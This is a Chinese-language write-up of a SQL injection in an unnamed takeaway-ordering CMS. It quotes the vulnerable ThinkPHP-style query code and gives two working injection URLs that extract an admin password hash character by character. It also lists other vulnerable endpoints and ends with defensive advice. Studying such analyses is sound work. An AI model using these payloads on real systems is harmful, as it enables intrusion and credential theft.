某CMS一处神奇的注入
字数 834 2025-08-29 08:31:48
某CMS SQL注入漏洞分析与利用教学文档
0x01 漏洞概述
本漏洞存在于某CMS(外卖系统)的数据库查询处理逻辑中,由于对特定数组形式的查询条件过滤不严,导致可构造恶意SQL语句实现注入攻击。该漏洞属于ThinkPHP框架类注入漏洞的变种。
0x02 漏洞分析
核心漏洞点
漏洞核心位于inc/Lib/Core/Db.class.php文件中的parseWhereItem和parseValue方法:
protected function parseWhereItem($key,$val) {
// ... 省略其他代码 ...
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) {
// 比较运算
} elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])) {
// 模糊查找
} elseif('exp'==strtolower($val[0])) { // 使用表达式
$whereStr .= ' ('.$key.' '.$val[1].') '; // 漏洞点1:直接拼接未过滤
} elseif(preg_match('/IN/i',$val[0])) {
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1]; // 漏洞点2:直接拼接未过滤
}
// ... 省略其他代码 ...
}
}
}
}
漏洞成因
- 过滤缺失:当
val[0]为'exp'时,直接拼接val[1]到SQL语句中,未经过parseValue过滤 - 过滤缺失:当
val[2]为'exp'且val[0]包含'IN'时,直接拼接val[1]到SQL语句中
调用链分析
完整的漏洞调用链如下:
find() -> select() -> buildSelectSql() -> parseSql() -> parseWhere() -> parseWhereItem()
0x03 漏洞利用
利用条件
- 存在调用
find()方法的地方 - 可以控制传入
find()的参数为一个数组 - 数组格式满足以下两种形式之一:
array(0 => 'exp', 1 => '恶意SQL')array(0 => 'IN', 1 => '恶意SQL', 2 => 'exp')
利用POC
方式一:利用exp表达式
http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
生成的SQL语句:
SELECT * FROM sn_article WHERE ((aid in ('XX'))/**/or substr((select userpass from sn_members where uid=1),1,1)='9') -- ) ) LIMIT 1
方式二:利用IN表达式
http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp
其他可利用的接口
- 产品模块:
/index.php?m=product&a=index - 文章模块:
/index.php?m=article&a=s - 后台食品管理:
/admin.php?&m=food&a=edit - 后台食品分类:
/admin.php?&m=foodcat&a=edit - 后台订单管理:
/admin.php?&m=order&a=detail /admin.php?&m=order&a=orderfour
0x04 防御措施
- 严格过滤:所有用户输入的参数都应经过严格的过滤和转义
- 参数化查询:使用预处理语句和参数化查询
- 权限控制:数据库账户应使用最小权限原则
- 代码审查:对类似
parseWhereItem的关键函数进行严格审查 - 框架升级:使用最新版本的框架,避免已知漏洞
0x05 总结
该漏洞源于对特定格式的数组参数处理不当,导致SQL注入。攻击者可以通过构造特殊的数组参数绕过过滤机制,执行任意SQL语句。开发人员应特别注意对数组形式参数的处理,确保所有用户输入都经过适当的过滤和转义。